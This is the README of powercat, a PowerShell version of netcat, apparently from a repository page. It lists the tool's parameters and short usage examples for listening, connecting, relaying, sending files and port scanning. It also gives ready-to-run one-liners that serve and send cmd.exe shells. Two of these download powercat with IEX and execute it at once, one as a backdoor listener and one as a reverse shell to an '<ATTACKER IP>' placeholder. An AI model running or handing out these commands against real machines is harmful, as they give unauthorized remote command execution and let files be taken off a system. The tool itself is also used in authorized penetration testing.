The powercat from johnjohnsp1

powercat's Introduction

#powercat

Netcat: The powershell version. (v2 compatible)

Parameters:

-l    Listen for a connection.                             [Switch]
-c    Connect to a listener.                               [String]
-p    The port to connect to, or listen on.                [String]
-e    Execute. (GAPING_SECURITY_HOLE)                      [String]
-r    Relay. Formats: "-r 10.1.1.1:443", "-r 443"          [String]
-t    Timeout option. Default: 60                          [int32]

General Usage Examples:

Listen and Connect:
    powercat -l 443
    powercat -c 10.1.1.10 443
Serve and Send Shells:
    powercat -l -e cmd.exe 443
    powercat -c 10.1.1.10 -e cmd.exe 443
Output to a File:
    powershell -c '. .\powercat.ps1; powercat -l 443' > C:\outputfile
Send a File (String):
    'The string I want to send' | powercat -l 443
    [IO.File]::ReadAllText('C:\inputfile') | powercat -c 10.1.1.10 443

powercat Relay Examples:

Listener to Client Relay:
    powercat -l -p 8000 -r 10.1.1.16:443
Listener to Listener Relay:
    powercat -l -p 8000 -r 4444
Client to Listener Relay:
    powercat -c 10.1.1.16 -p 443 -r 4444
Client to Client Relay:
    powercat -c 10.1.1.16 -p 443 -r 10.1.1.16:3389

Misc Examples:

Download and Execute Powercat Backdoor Listener One-Liner:
    powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l 8000 -e cmd.exe"
Download and Execute Powercat Reverse Shell One-Liner (Replace <Attacker IP>):
    powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c <ATTACKER IP> 443 -e cmd.exe"
Basic TCP Port Scanner:
    foreach($p in (21,22,80,443)){powercat -c 10.1.1.10 -p $p -t 1 -Verbose}

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